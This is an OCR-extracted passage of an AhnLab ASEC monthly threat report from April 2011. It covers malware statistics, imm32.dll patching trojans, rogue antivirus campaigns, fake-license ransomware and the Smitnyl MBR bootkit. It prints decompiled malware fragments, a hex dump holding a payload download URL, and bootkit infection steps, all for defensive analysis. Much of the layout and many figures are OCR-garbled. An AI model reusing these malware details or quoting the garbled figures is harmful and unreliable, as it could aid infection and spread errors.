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ASEC (AhnLab Security Emergency Response Center] is a
global security response group consisting of virus analysts and
security experts. This monthly report is published by ASEC,
and it focuses on the most significant security threats and the
latest security technologies to guard against these threats. For
further information about this report, please refer to AhnLab,
Inc.’s homepage (www.ahnlab.com).
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01.Malicious Code Trend
a. Malicious Code Statistics

Top 20 Malicious Code Reports Top 20 Malicious Code Variant Reports

The table below shows the percentage breakdown of the top 20 malicious codes reported in April The table below shows the percentage breakdown of the top 20 malicious code variants reported
2011. As of April 2011, Textimage/Autorun is the most reported malicious code, followed by Win- this month. As of April 2011, Win-Trojan/Onlinegamehack is the most reported malicious code,
Trojan/Overtls27.Gen and JS/Redirect, respectively. 8 new malicious codes were reported this month. representing 16.7% (1,781,690 reports) of the top 20 reported malicious code variants, followed by

Win-Trojan/Winsoft (1,385,102 reports) Textimage/Autorun (1,148,775 reports).

Ranking ™M Malicious Code Reports Percentage Ranking ™M Malicious Code Reports Percentage
1 = Textimage/Autorun 1,148,610 26.2% 1 == Win-Trojan/Onlinegamehack 1,781,690 16.7 %
2 NEW Win-Trojan/Overtls27.Gen 540,652 12.3% 2 A5 Win-Trojan/Winsoft 1,385,102 13.0%
3 Al JS/Redirect 471,011 10.7 % 3 A1l Textimage/Autorun 1,148,775 10.8 %
4 v2 JS/Agent 429,722 9.8 % 4 v2 Win-Trojan/Downloader 825,243 7.7 %
5 = Win32/Induc 224,589 5.1% 5 v2 Win-Trojan/Agent 770,719 7.2%
6 NEW Win-Trojan/Winsoft.46080.BR 188,926 4.3 % 6 NEW Win-Trojan/Overtls27 540,652 5.1%
7 = Win32/Palevol.worm.Gen 156,080 3.6% 7 Ab JS/Redirect 471,011 4.4 %
8 NEW Win-Trojan/Winsoft.78981.CIB 126,814 2.9% 8 ATl Dropper/Malware 470,453 4.4 %
9 3 Win32/Conficker.worm.Gen 121,739 2.8% 9 v1 JS/Agent 429,723 4.0 %
10 3 Win32/0lala.worm 111,065 25% 10 — Win32/Conficker 410,871 3.9%
11 v2 Win32/Parite 102,528 2.3% 11 v2 Win32/Autorun.worm 408,925 3.8%
12 NEW Dropper/Malware.94432.B 94,972 2.2% 12 — Win32/Virut 302,494 2.8%
13 Ab Win32/Virut.f 93,421 21% 13 v8 Win-Trojan/Adload 272,959 2.6%
14 AL VBS/Solow.Gen 87,282 20% 14 0 Win32/Kido 260,927 2.L%
15 NEW Win32/Flystudio.worm.Gen 86,516 2.0% 15 v9 Win-Adware/Koradware 260,233 2.4%
16 Al JS/Exploit 85,943 2.0% 16 — Win32/Induc 224,724 21%
17 A3 VBS/Autorun 82,326 1.9 % 17 A1l Dropper/Onlinegamehack 184,186 1.7 %
18 NEW Win32/Virut 80,306 1.8% 18 NEW VBS/Solow 183,263 1.7 %
19 NEW Win-Trojan/Winsoft.46080.AR 76,276 1.7 % 19 NEW Win32/Palevo 178,027 1.7 %
20 NEW Win-Trojan/Fosniw.75776 73,389 1.7 % 20 NEW Win32/Palevo1 156,080 1.5%

4,382,167 100 % 10,666,057 100 %

[Table 1-1] Top 20 Malicious Code Reports [Table 1-2] Top 20 Malicious Code Variant Reports
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Primary Malicious Code Type Breakdown
The chart below categorizes the top malicious codes reported this month. As of April 2011, Trojan is

the most reported malicious code, representing 50.3% of the top reported malicious codes, followed

by Worm (12.3%) and Script (10.9%).

.

[Fig. 1-1]1 Breakdown of Primary Malicious Code Types
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Comparison of Malicious Codes with Previous Month

Compared to last month, the number of worm, script, dropper, virus and spyware reports increased,

whereas, the number of Trojan, adware, downloader and appcare reports dropped.
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[Fig. 1-2] Comparison of Malicious Codes with Previous Month

Monthly Malicious Code Reports

There has been a decrease of 1,095,598 in malicious code reports this month - from 18,626,994 last

month to 17,531,396.
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[Fig. 1-3] Monthly Malicious Code Reports

New Malicious Code Type Breakdown
As of April 2011, Trojan is the most reported new malicious code, representing 79% of the top

reported new malicious codes. It is followed by dropper (10%) and adware (6%).

Dropper 10%

Adware 6%

&—— Downloader 1%
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'\ Worm 1%
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[Fig. 1-4] New Malicious Code Type Breakdown
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Top 20 New Malicious Code Reports

The table below shows the percentage breakdown of the top 20 new malicious codes reported in

01.Malicious Code Trend

April 2011. As of April 2011, Win-Trojan/Overtls27.Gen is the most reported new malicious code, b. Malicious Code Issues

representing 33.4% (540,652 reports) of the top 20 reported new malicious codes, followed by Win-
Trojan/Winsoft.46080.BR (188,926 reports).

Ranking Malicious Code Reports Percentage
1 Win-Trojan/Overtls27.Gen 540,652 33.4 % New imm32.dll patching technique We analyzed the malicious code that actually patches the imm32.
. i . . 0, N . . -
2 i DRTjARin s ol e SOIR 1872 i) On March 2, ASEC found a malware that steals online game (| file and found it pushes and calls all the export functions.
A . . 0, . . . .
3 etllu ) Lt el T 126,814 7.8% accounts works in different ways according to whether V3 is T
4 Dropper/Malware.94432.B 94,972 5.9 % . . . . =
- : - running or not. Attackers are applying new malicious techniques to ; Exported entry 42. ImmGeneratelessage
5 Win-Trojan/Fosniw.75776 73,389 4.5 % ) o o
% Win-Trojan/Bho.213216 69,742 43 % malware, as the one above, to patch imm32.dlL. Similar malicious
7 Win-Trojan/Winsoft.78085.8 67,985 4.2 % codes that were reported between the end of February and early public ImmGenerateMessage
. . . ImmGeneratelessage proc near
8 Win-Trojan/Winsoft.75776.D 54,382 3.4% March forward all the Export functions of the imm32.dLL file as push offset almmgeneratem 0 ; “InnGeneratellessage”
- call sub_1008449E
9 JS/Ms10-018 44,125 2.7% shown in Fig 1-5. imp i
10 Win-Trojan/Winsoft.78089 38,098 2.4% [TRRGENeratenessage. enap v
1 Win-Spyware/BH0.233984 37,581 2.3% A Ahnlab
12 Win-Trojan/Downloader.75776.X 36,114 22% - _
13 Dropper/Malware.235520.CF 34,064 21% The code that calls the function is designed to load the imm32A.
14 Win-Adware/ColorSoft.490530 33,413 21% dllas a sub routine.
15 Win-Trojan/Winsoft.78125 33,004 2.0% neomme e | oo [Fig. 1-8] Malicious code that loads imm32A.dll as sub routine
16 Win-Trojan/Winsoft.78109 32,339 2.0% FARPROC _ stdcall sub_1000449E(CHAR *1pProcHName)
: : : e e oo (
17 Win-Trojan/Onlinegamehack.115200.Y 30,069 1.9 % Forvarded Name RYA 0013 ClmmTactvate > awe A AhnLab CHAR *u1; 7/ edi@y
18 Win-Adware/KorAdware.98304.F 30,014 1.9 % But, the latest malicious codes do not forward the Export :E’F:z:zR[IlB ;‘es;}t[; /7 ;JTXT:‘ —
A - ® , ext; Sp+ah p th |@/7
19 ARV e ME e 2 A Al L functions as shown in Fig 1-6. CHAR uk; // [sp+108h] [bp-16h]@6
20 HTLM/Downloader 26,723 1.6 %
1.620 293 100 % [Fig. 1-6] Latest patching techniques if ( thModule && Jsub_1000452F() )
— 3000 0| % |[=)= = ExitProcess({B8xFF -
[Table 1-3] Top 20 New Malicious Code Reports _C_wiN[— RvA Data — Descrition [V vl = 1pProcName;
IMAGE_DOS_HEADER 00009BES 00004581 Function RVA 0001 CfAlmmActivate
MS-DOS Stub Program 00009BEC  D00045BD  Function RVA boo2 CriimmDeactivate result = GetProcAddress(hModule, lpProcName);
4 IMAGE_NT_HEADERS 00009BFO 000045C9  Function RVA 0003  CtfAlmmisIME
IMAGE_SECTION_HEADER .te|| 00009BF4 00004505 Function RVA 004 CtimmColninitialize if ( fresult )
IMAGE_SECTION_HEADER .rd| CO009BF8 000045E1  Function RVA 005  CtfimmDispatchDefimeMessage
IMAGE_SECTION_HEADER .d¢| 00009BFC  000045ED Function RVA 0006  CtimmEnterColnitCountSkipMode {
IMAGE_SECTION_HEADER .re|| 00009C00  000045F9  Function RVA 0007 CtfimmGenerateMessage o . 2
SECTION text 00009C4 00004605 Function RVA if ( *((unsigned int)lpProcName >> 16) )
SECTION .rdata 00009C08 00004611 Function RVA 0008 CtfimmHideToolbarWnd
}MPORTAddlessT{bVe 00009COC 00004610 Funcswonzﬁ\ 000A Cl!(l\vnmllscmemEnib\e?j {
MPORTNama Tl || GOOCI4 000K Funcion A 000G GilisGuhapratie wsprintfA(&vy, "%d", lpProcName);
IMPORT Hints/Names & DLL| 00009C18 00004641  Function RVA 000D CtfimmisTextFrameSemviceDisabled
IMAGE _EXPORT DIRECTOI( 00009C1C  0000464D  Function RVA O00E CtimmLastEnabledWndDestroy vl = &ul ’
00009C20 00004659  Function RVA 0OOF CtfimmLeaveColnitCountSkipMode
EXPORT Name Pointer Tabl¢ | 00009C24 00004685 Function RVA 0010 CtimmRestoreToolbarWnd }
BEoRTNumes || 0BG 0TD Funcian VA 012 CiinmSmCemodiataTmesd usprintfA(&Text, "FFHIESY, vi);
L SEcnon ke Stecas ook ruimia e cummeanmeace A0 AhnLab MessageBoxA(®, &Text, "AheadLib™, 0x16u);
ExitProcess{BxFFFFFFFEu);
[Fig. 1-7] Malicious codes designed to infect the system 3
[ return result;
; Exported entry 39. ImmEscaped N AhAhnLab

Instead of directly forwarding the export functions, the latest

; LRESULT __stdcall ImmEscapeA({HKL, HIMC, UINT, LPUOID) malware calls the functions with separate codes. V3 detects this
ublic_ImmEscapef )
ImnEscapef proc near Trojan horse as:
push offset almmescapea_@ ; "ImmCscapef”

call sub_1000449E . .
i my eax - Win-Trojan/Patchedlmm.Gen

mhtscapen endp - Win-Trojan/Patchedimm2.Gen
A AhnLab
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[Fig. 1-8] Malicious code that loads imm32A.dll as sub routine
1001 cdecl sub 1088452F()
K
CHAR Text; // [sp+Bh] [bp-38Ch]@2
CHAR LibFileName; // [sp+208h] [bp-164h]@1

doctolu el bl oblog

1strcatA{&LibFileName, "W#imm32A");
hModule = LoadLibraryA{&LibFileName);
T a e
{
wsprintfA(&Text, "FFANLE %s, Y, &LibFileName);
MessageBoxA{B, &Text, "AheadLib", B6x16u);

}
return hHodule *= 8;

b A Ahnlab

Using “non-typical” function name to patch imm32.dll

[Fig. 1-9] Trojan horse that changes the function name

39= . 1001E925 ImmEscapeR = ixxxxA. ImmEscapefl

Along with the Trojan horse discussed above, ASEC discovered
another Trojan horse that changes parts of the export function.
Malicious codes that bypass detection by antivirus programs will
continue to evolve. Recently, we also found malicious codes that
patch the Windows system files such as ksuser.dll, midimap.dll and
comres.dll. It is extremely important to regularly update your 0S,
web browser and Adobe products to the latest version to prevent
such attacks.

V3 detects this Trojan horse as:

- Win-Trojan/Patchedimm.Gen
Distribution of fake BitDefender AV

On January 31, ASEC reported a rogue antivirus disguised as
AVG Anti-Virus 2011, a legitimate free antivirus provided by AVG.
Recently, a rogue antivirus disguised as BitDefender developed
by the Rumanian security solution provider, Softwin, was
reported. The user interface of the rogue antivirus looks exactly

like that of BitDefender - even the menus and logo.

11

g. 1-10] Fake scan results

[Fi

@ Get fulltime protection

& bitdefender

Scan for threats

T e e Tzes -

© C:Worogram FlesWhketon Syste...  EmakWorm.Zh...  Critical Active
© C:Worogram FlesWRegetrar Lke...  Trojan.lnjector...  Medum Active
© C:Worogram FlesWuriversal Extr...  Spyware BANK...  Low Active
© C:Worogram FlesWirversal Extr... Keylogger.Sna...  High Active
© C:Wrogram FlesWurwersal Extr...  Tropn.injector...  Medum Adive
© C:Werogram FlesWwindows NT...  Trojsn.injector...  Medum Active
© C:Worogram FlesWiresharkWin... Keylogoer.Sna...  High Active
v

< >
Start tme: 28 4:53:01 Tie elapsed: 24 second(s)
E——

b san | [0l pase | [@ sop [ -
Ttems scanned: 18357 s

Statistics Ttem: Remove Threats
Threats found: 22 J

“Trial Viersion” means 3 version of the Scftware to be used only to review, demanstrate and evakiste
a the period. € fullkcerse s aasyl
Ativate

Like other rogue antiviruses, once installed, the rogue
BitDefender automatically scans the entire system and triggers
fake alerts claiming your PC has security issues and infections

that need to be removed.

[Fig. 1-11] Fake scan result with scare message that the computer is infected

Iz] Attention! 22 threats found!
——

Oetected dems .

© Trojen Injector 82 Medum Quaantne  Acive —
© Keyhogger.(Snske.FRO High Remove Active l—a
© Emak-worm. Zhelatin Critical Remove Active

© Backdoor POISON BQA Medum Quarantne  Adtive

© Spymare BANKER.ID Fx Adtive

© Spyware BANKER.ID Fix Active

© Backdoor POLSON BOA Medum Quarantne  Acive v

Theeat name: Trojan.Injector.B2
Alertlevel | IE—

>
Action: Quarantine this file
Tnfected fibe:  C-WCONFIG SYS
E—
Description:  Trojan. Injector ks 3 detestable Tropn nfection that is highty capable of downkoadng =
Subious fles and software ook & computer without the user ever knowing sbout & until
ther system is actually damaged. Trojan. Injector i particubarly damaging to & compester
system, I
Statistics |Threats
Last scan + J
Recommended: Pascs dick Remove AT button to hasl ol rfected files
7 and protect your PC hd evabaate
. Adtivate

If you open the web browser installed on an infected system, a
notification will be displayed informing you that your web page

request has been denied.

ogue BitDefender

et Jimcrosalt confebiscibst

Attention! Your web page request has been cancelled.

In order to activate your security software, please press Fix Now
(recommended)

A AhnlLab

V3 detects this Trojan horse as:

12

- Win-Trojan/Fakeav.1243656
- Win-Trojan/Fakeav.1242632

More similar threats are expected in the future. You must
always purchase software from their official sites, and download
freeware from trusted sites. You must also scan the file to

download with an updated antivirus before downloading it.

Rogue antivirus disqguised as UPS notification

A malware variant found in March 24 disguised as a notification
from UPS (United Parcel Service) is still propagating. Two

different notifications are still being distributed.

[Table 1-4] One of the two notifications

Subject United Parcel Service notification <5-digit number>

Dear customer.

The parcel was sent your home address.

And it will arrive within 3 business day.
Message More information and the tracking number are

attached in document below.v

Thank you.

?1994-2011 United Parcel Service of America, Inc.

- UPS.zip

- UPS-tracking.zip

Decompressing the attached UPS.zip file will
create UPS.exe (18,944 bytes).

Decompressing the attached UPS-tracking.zip file
will create UPS-tracking.exe (18,432 bytes).

[Table 1 ne of the two notifications

- UPS Package
- UPS: Your Package
- Your Tracking Number
- United Postal Service Tracking Nr.<10-digit number>
Good day,
We were not able to deliver parcel you sent on the
19nd March in time

Message N :
because the recipient’s address is not correct.
Please print out the invoice copy attached and
collect the package at our office.

- UPS_TRACKING_NR_<10-digit number>.zip
Decompressing the attached UPS_TRACKING_
NR_<10-digit number>.zip file will create UPS_
TRACKING_NR_<0-digit number>___.DOC.exe
(546,304 bytes).

If the malicious file infects your system, it will execute the

svchost.exe file in the infected system and insert its codes into

the memory sector to execute itself.

[Fig. 1-13] Malicious codes inserted into memory sector

uooo4leu 6 3 - 3 oe = oCc © ..rreelonsole...
00004170 47 65 74 43 6f 6d 6d 61 6e 64 4c 62 6e 65 41 00 GetCommandLined.
00004180 00 00 53 6c 65 65 70 00 00 00 44 65 6c 65 74 65 ..5leep...Delete
00004190 46 69 6c 65 41 00 00 00 45 78 62 74 50 72 6f 63 FileA...ExitProc
000041a0 65 73 73 00 00 00 4c 6£ 61 64 4c 68 62 72 61 72 ess...LoadlLibrar
000041b0 79 41 00 00 00 00 43 6c 6£ 73 65 43 61 fe 64 6¢c yA....CloseHandl
000041cO 65 00 00 00 47 65 74 46 62 6c 65 54 79 70 65 00 e...GetFileType.
000041d0 00 00 47 65 74 4d 6£ 64 75 6c 65 43 61 fe 64 6c ..GetModuleHandl
00004le0 65 41 00 00 00 00 47 65 74 4d 6L 64 75 6¢c 65 46 el....GetModuleF
000041£0 69 6c 65 4e 61 6d 65 41 00 00 00 00 6c 73 74 72 ileNamed....lstr
00004200 6c 65 6e 41 00 00 00 00 43 72 65 61 74 65 46 69 leni....CreateFi
00004210 6c 65 41 00 00 00 57 72 63 74 65 46 69 6¢c 65 00 led...WriteFile.
00004220 4b 45 52 4e 45 4c 33 32 2e 64 6c 6c 00 00 00 00 KERNEL32.dll....
00004230 53 65 74 46 69 6¢c 65 53 65 63 75 72 69 74 79 41 SetFileSecurityd
00004240 00 00 41 44 56 41 50 49 33 3Z 2e 64 6c 6c 00 00 ..ADVAPI3Z2.dll..
00004250 00 00 52 74 6c 55 6e 77 62 6e 64 00 77 1d 80 7c ..RtlUnwind.w..|
00004260 68 74 74 70 3a 2f 2f 31 30 32 2e 3% 34 2e 32 32 http://109.CNED
annnazan 2n 2f 73 70 6d 2e 65 78 65 00 00 00 00 @.52/spm.exe....

28 26 32
000 00 00 O0 OO OO OO O0 OO0 OO0 00 00 s.vvvecnncnnnnsns
A Ahnl ah? % 9 o 00 00 00 00 00 00 00 00 00

The malicious codes will then use the system file to download

and run a malicious file from a system in Ukraine. The

downloaded file will run XP Home Security”, a rogue antivirus.

Q) 2z~ 2
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OIS 24
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The rogue antivirus will scan your system and alert you with fake

or simulated detection of malware.

[Fig. 1-15] Fake scan results

“} XP Home Security - Unregistred Version

@ XP Home Security

“ Current PC State: Infected!
s .
! None Total: 14,245
Peitores Bcen Malware database status:
File Malware Name
" ¢ ty 4 C:\Program Files\QuickTime\QTSystem\QuickTim...\RWS.dl  Trojan-Spy.HTML.Bankfraud _a|
C:\Program Files\QuickTime\QTSystem\QuickTime. \0pDJ  Trojan-Proxy.Win32Agentx
:ﬂ P araorial CACN W C:\Program Files\QuickTime\QTSystem\Quic.\dM4QG.sys  Email-Worm.VBS.Pesch
W C:\Program Files\QuickTime\QTSystem), \2203331Ks.cab  Virus.Boot-DOSV.1536
C:\Program Files\VMware\VMware Tools\Guest .. \FF716.d: Macro PPoint.ShapeShift
9 LIORCIVE LRIENEC: Ci\ProgramFi Mware\VMware Tools\pls . \2XMO6T2.t  Backdoor.Perl AEL16
\Program Files\Wireshark\tonco\88WV.dl Trojan-SMSJ2ME.RedErows
‘ il DEBUGOLLYDBG\HZI MelperiHzorih. \QbLELkc  Trojen-ClickerWin32.Stxo.d
adDLL L1Yo.\S65qd8afllo  Trojan-Proxy.Win32.Agent.q
:\Jk Configuration \DEBUG\OLLYDBG\odbgscpt 14. \LA7RWESD4.s  Trojan-Downloader.BAT.Ftp.
DEBUG\OLLYDBG\OllyGuard v0.1.2\7bESPS ja Trojan-SMS.SymbOS.Viver.a
W C:\Tools\DEBUG\OLLYDEG\PhantOm Plugin.1.000Indv  Backdoor.Rbot.gen -
Scan Process: 100% Infections found: 32
| ] [ Removeal |
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Like other rogue antiviruses, it tricks you into registering for the ~ Facebook image spam

service to remove the threats. :
Facebook spam has been continuously reported from the

[Fig. 1-16] Scare message that the system is infected beginning of this year. The latest spam, image spam is an

| W XP Home Security

obfuscating method in which the text of the message is stored as

P Home Security - Unregistred Version

a GIF or JPEG image and displayed in the email. Image spams

existed from last year.
(

Perfo ALERT! System scan for spyware, adware, is complete. XP Home Security
detected 32 critical system objects. Th: eaches may be exploited and lead to
[nter; the following: ——

= - Image spam on June 2010

© Your system becomes atarget for spam and bulky, intruding ads
0 =

&
G Proac © Yourpersonalfiles, photos, documents and p

- Image spam from Fedex on August 2010

ser crashes fraquently and web access speed decreases

K » 2 - Image spam from USPS on October 2010
Your computer is used for criminal activity behind ==

0 - Image spam from DHL and UPS on October 2010

ent.q

Firew| © Bank details and credit card information gets disclos

of XPHome Security and perform threat removal on your
rabilities detected will become availsble sfter registration. ver.a

Click REGISTER to register your ¢
system. Thelist of infections and v

The Facebook image spam reportted this month was sent under

v ] ( Remind me later ] P the subject of "Spam from your Facebook account” or "Spam
An Ahnla from your account”.

The alert tricks you into registering to use the rogue antivirus [Fig. 1-18] Facebook image spam

service to remove the threat from your system.

facebook

Dear Facebook user!

[Fig. 1-17] Fake page to trick you into paying for service
¢ XP Home Security _—— Spam is sent from your Facebook account.

Your password has been changed for safety by our automatic anti-spam system.

Information regarding your account and a new password is attached to the letter.
New XP Home Security™

Read this information thoroughly and change the password to complicated one.

Thank you for your attention,

Facebook Security Team

The following spam was also detected.

-6] Facebook image s| essage and attachment

* Alv Ahnl ab

However, unlike other rogue antiviruses, this rogue antivirus is Dear Customer

recognized by Windows Action Center, so victims can get easily Spam is sent from your FaceBook account.

tricked.
Your password has been changed for safety.

Information regarding your account and a new
password is attached to the letter.

Read this information thoroughly and change the
password to complicated one.

V3 detects this rogue antivirus as:
Message

- Win-Trojan/Chepvil.18432

- Win-Trojan/Chepvil.18944.B

- Win-Trojan/Fakeav.143872.H

- Win-Trojan/Fakeav.143872.

- Win-Trojan/Fakeav.64008

- Win-Trojan/Fakealert.546304

- Win-Trojan/Agent.33928.B

- Win-Trojan/Agent.33928.C

Please do not reply to this email, it's automatic
mail notification!

Thank you for your attention.
Your Facebook!

- FacebookPl[-digit number].zip (23,586 bytes)

Decompressing the attached file will create
Attachment | ‘FacebookPassword.exe (26,624 bytes)'.

The file downloads malware from an external

system and infect systems with rogue antivirus.

14

You are advised to exercise caution when opening any email
attachment, as there exist other variants. V3 detects this Trojan

as:

- Win-Trojan/Bredo.27136

- Win-Trojan/Agent.30808

- Win-Trojan/Bredolab.26624.AY
- Win-Trojan/Oficla.108032

Fake Windows license ransomware found in Korea

On March 22, we discovered a ransomware disguised as a fake
alert. The ransomware is a copy of the license for the Windows
0S installed on the system. It tricks the victim into calling a
phone number to get a new license. It seems to be a new variant
of the Korean cyber crime ransomware that was reported on
March 3.

When executed, it gets the language code of the infected system
and when the system is a Korean system, it displays a fake
alert stating the system will be locked until it is activated with
a proper license because the system’s license is a copy. It will
also prevent other programs on the system and the system itself

from running properly.

[Fig. 1-19]1 Ransomware showing fake Windows license alert

Ay
L

Windows 2t0| &8 A2} XHCHE| S LI CH

0l Windows®| At=0| AtCH ICH At
Windows& H = AtE 8tei 2! HOF EHLICH

LICk 2Ll 42

US0l FAHE 0 MA LAXAUA 2AFE0 2= 2E dIOIED AIEHELICE

A2E0| MR NS B ARE 2o +5 ASLCL

ASEAIAD «CIEnE

A AhnLab

If you fall victim to this false alert and click Next, you will be
advised to call the following phone numbers to activate your

license.

[Fig. 1-20] Ransomware that demands activation of license via phone call

I~
> 5= Windows?| o} iy

SMS SIS} ¥ LICL
QIEIA RASDOFEOLsEILICL

[FJASIE 22 Soll SO HSALICH R 2H= SROID AHBA2YALICH 20IM 2= 27 SR
ZSLICE 4

1.01H ] et S0l SHLtR @ 21 CIS &7 DR YARIAL

01188213090406
011261221000183
0112392216368
011261221000181
0114526970180

D8N 2 wLICk

2. M2 HEE

7078

s.u2 wus

But, the phone numbers are non-existent. This ransomware is
distributed via vulnerable websites. Be careful when accessing
untrusted websites and always update your web browser to the
latest version to prevent such attacks.

V3 detects this Trojan as:

- Win-Trojan/Fakeav.320000.AT
- Win-Trojan/Serubsit.145920

Malware disguised as map hack for Starcraft

Malware disguised as map hack for Starcraft is on the rise again.
This malware is not new - it has existed for some time. Map hack
is a generic term that refers to a method or third-party program
that enables a gamer to see more of a level than intended by the

developer. It can be found easily online.

-21] Map hack for Starcraft searched on search engine

Starcraft Map Hack - Starcraft Hacks (SC Broodwar Hacks)
26 Mar 2011 ... Starcraft Map Hack - Starcraft Hacks. 100% Undetected premium downloads
StarCraft | MapHack v10 StarCraft 2 Trainers | StarCraft 2 | Nibbits

12 Mar 2010 ... In response to CraniX's Starcraft 2 Beta MapHack v10. Cool! :) ty! ... Project
Contributor In response to StarCraft Il MapHack ...

Starcraft 2 Maphack | Starcraft Hack | Starcraft 2 Maphack
A starcraft 2 maphack is an application that interacts with the Starcraft 2 game client. offers
features that are similar to the cheats you would find in a ...

Starcraft Hacks
Starcraft Map Hack / Starcraft Drop Hack The newest version of INHALE and a new undetected
drop hack have been added to our site. It includes the following ...

Starcraft Map Hack - Starcraft Map Hacks

18 Jul 2007 ... Counter strike hacks. world of warcraft hacks. vac proof hacks. counterstrike

hacks, cs 1.6 hacks, Starcraft Hacks. Diablo Hacks. ...

Some map hacks that are provided on blogs or forums install

malware (aaa.exe) along with the map hack program.
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[Fig. 1-22] Map hack installation process

C:WProgramFilesWStarMap
C¥ProgramFileswWDemoApplication

AL S CHWINDOWSHSystem32
Map Hack Files+
T
aaa.exe I
: i A Ahnlab

As you can see above, when the dropper (aaa.exe) runs, a malicious
DLL gets created on the system folder. The DLL then gets injected
into the svchost.exe file and runs, and attempts to access a

malicious site.

[Fig. 1-23] Access attempts by DLL

Time Source Destinaton Protocol Info
ON5  Standard query A xS gfcp. net
2 ONS_ STandard Query respomse A Lia. e .2
L 850 win=Bi 740 Tened bas
 TCP 6173 > sbl [SYN, ACK] S€qu0 Ackel ) G
TP sbl ACK] Seqel Ack=l WiN=63240 Lern=0
Tce PSH, ACK) Seqel ACk=1 Wine64240 Len-256
TP 73 AcK] seq=: 57 Win=64240 Len-0
Q73 ([FIN, PSH, S6q-1 ACK-257 WIN-64240 Len-0
5b) > 6173 [ACK) 5€q=257 Ack=2 Win=64240 Len=0

0.000000 19, pob 132 844
0:714653 sk L1 i B

L3716
208

When we tested the malware, there were access attempts but no
other actions (such as file download). The URL for the website was
located in Hong Kong.

[Fig. 1-24] Network information of web site

IP Information - 183. . .208

IP address: 183. . -208

Reverse DNS: [No reverse DNS entry per nsl_apnic.net.]
Reverse DNS authenticity: [Unknown]

ASN: 4058

RSN Name: LINKAGENET-AP (CPCNet Hong Kong Ltd.)

IP range connectivity: 2
Registrar (per ASN):- APNIC
it
HK [Hong Kong)
HED [Hon long Dollars]

Rangy H3: = 255
Count raud profile: Normal
Cicy er outside source): Unknown

(per outside source): et

Private (internal) IP? No
IP address registrar: wheis.arin.net
Known Proxy? No
Link for WHOIS: 183 208 AhAhnLab

Using map hack to easily win in games may infect your system
with malware. You must be extra careful when downloading such

tools.

Distribution of malware in the name of well known
programs

Recently, there have been malware reported to be distributed
in the name of well known products, people and companies
and social issues to win trust of victims. The following malware
is named v3lite.exe to trick victims into believing they are

downloading V3 Lite program.

[Fig. 1-25] Malware disguised as V3 Lite file

v3lite.exe

If you are suspicious about any files on your system, report it to a
security company and always update your antivirus and Windows

security to the latest version.

iPhone and iPad keylogger

There is a keylogger that logs keystrokes on iPhone and iPad.
It runs on i0S, but not on all iPhones or iPads. It can only get
installed if the device has been jailbroken. It logs keystrokes and

sends them to an email address.

[Fig. 1-26] Site selling keylogger for i0S

Wi @ « The cnlly IPhcone/iPad Key Logger

Home FAQ Download Buy Support Reviews

- The Only iPhone/iPad Key Logger

* Are you sure your employee keeps your data safe?
# Do you need to know what your employee is doing at work?

# Do you need to archive typing?

is what you need!

> Rexords every single key press
> Works with every jailbroken iPhone, iPad or iPod Touch ‘
> Sends logs to your E-Mail regularily
> 100% transparent and hidden

> One license for an unlimited number of devices!

A similar case where a malware only runs on jailbroken
iPhones and iPads was reported before on November 2009.
You are advised not to jailbreak your iPhone or iPad to prevent

unexpected security threats.

16
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01.Malicious Code Trend
c. Special Feature: Malicious Code Analysis

MBR Infector : Smitnyl analysis

The Master Boot Record (MBR] is the first sector of a hard disk. It stores information about installed
operating systems. This small section exists outside the storage of a disk’s partitions. It tells the
machine how to boot an operating system and where individual partitions are stored. It contains a
table of partitions and a code for the program used by the BIOS to boot the system. MBR is not as
infected as much as the PE (Portable Executable) file: it is that much more complicated and size-
restrictive, and a tiny error or bug may cause the computer not to boot the operating system.
Recently, a new bootkit, Smitnyl Bootkit, was discovered - it is propagating via free file sharing

network.

1. Infection and signs of attack

Smitnyl Bootkit saves infection data in the MBR and sectors. It also infects the userinit.exe file when
the system restarts to download a malicious file from a designated website. The changes in MBR

before and after being infected can be found in the images below:

[Fig. 1-27] Original MBR [Fig. 1-28] Infected MBR
M Hard disk 0

0f fzet 0 2 3 S 6 7 9 A B C D EF _KSW
00000000 33 CO 8E 7c s SO IF FB EB 02 90 7§ |P P
000000 56 pF
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[Fig. 1-29] Process of main dropper

= Smitnyl
IMAGE_DOS_HEADER
MS-DOS Stub Program
IMAGE_NT_HEADERS
IMAGE_SECTION_HEADER
IMAGE_SECTION_HEADER
IMAGE_SECTION_HEADER
IMAGE_SECTION_HEADER
SECTION .text
@ SECTION .rdata
SECTION .data
= SECTION .rsrc

RES 0072 0804

text
rdata
data
rsrc

userinit.exe
Infector payload

0x00007050

0x00007A40

39th sector  AND

[“uninfected” userinit.exe]

Infected!!!!

Downloader
(encoded part.1)

+

Downloader

(encoded part.2)

0x00007A50

0x00007C40
0x00005120

0x00006110

45th sector

| Infected MBR code

0x00006120

MBR file system
Infector Routine

0x00006320

0x00007040

MBR

32nd sector

> “.sys’ file

0x00007C50

RES 006F 0804

0x0 4

il

“CWWINDOWSWsystem32wdriverswpcidump.sys”

OR
“CHAWINDC

sys”

OR

“%Main Dropper folderSé¥DeviceCutter.sys”

When the data saved in the resource sectors gets loaded, the MBR, sectors and userinit.exe file will

get infected. The process is as below:

1. Saves orginal MBR to the 5th sector.

2. Loads the userinit.exe infector payload to the resource sector (Name="71") and saves to 39th

sector

3. Loads encoding data to resource sector (Name="72’) and saves to 45th sector

Loads encoding data to resource sector [Name="6E’) and saves to 46th sector
->When XOR calculation is done with 0x7F, the data saved to the 45th and 46th sectors create
an executable file that acts as a downloader

Reads 0x200 (512 bytes) of data from resource sector [Name="70’) and overwrites MBR

Reads data (MBR file system infector routine) after 0x200 (512 bytes) of data from resource

00 00 00

The process of the main dropper (Dropper/Smitnyl.37076) can be found in the image below. The
payloads to infect MBR, each sector and the userinit.exe file are saved to each resource sector, and

the downloader is also divided and saved in two resource sectors.

sector (Name="70’) and saves it to 32nd sector

The data saved to each sector are used to create downloader or infect userinit.exe during system
boot. The userinit.exe file is infected by infecting MBR to bypass detection by antivirus and WFP

(Windows File Protection).
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2. Function of each module

2.1 Dropper (Dropper/Smitnyl.37076)

The main functions of the dropper, Dropper/Smitnyl.37076, are as below. It first checks whether
the Chinese hard disk monitoring tools, HDDGMON.exe and DF5Serv.exe, are running. If they are, it
searches for and loads ‘Name=6F" to the resource saves it under the name of pcidump.sys, beep.sys

or DeviceCutter.sys. Then it starts the service of each file.

[Fig. 1-30] Functions of dropper

[ Main Dropper ]

Checks whether i | - SFC.dIl #5 : Uses sfcFileException function to terminate
® “HDDGMON.exe” or yes} Windows File Protection
“DF5Serv.exe” Process exists ¢ - Loads data from resource sector (Name = 0x6F)
i | - Saves as cWWINDOWSWsystem32WdriversWpcidump.sys
@ i | - Starts ‘pcidump’ service
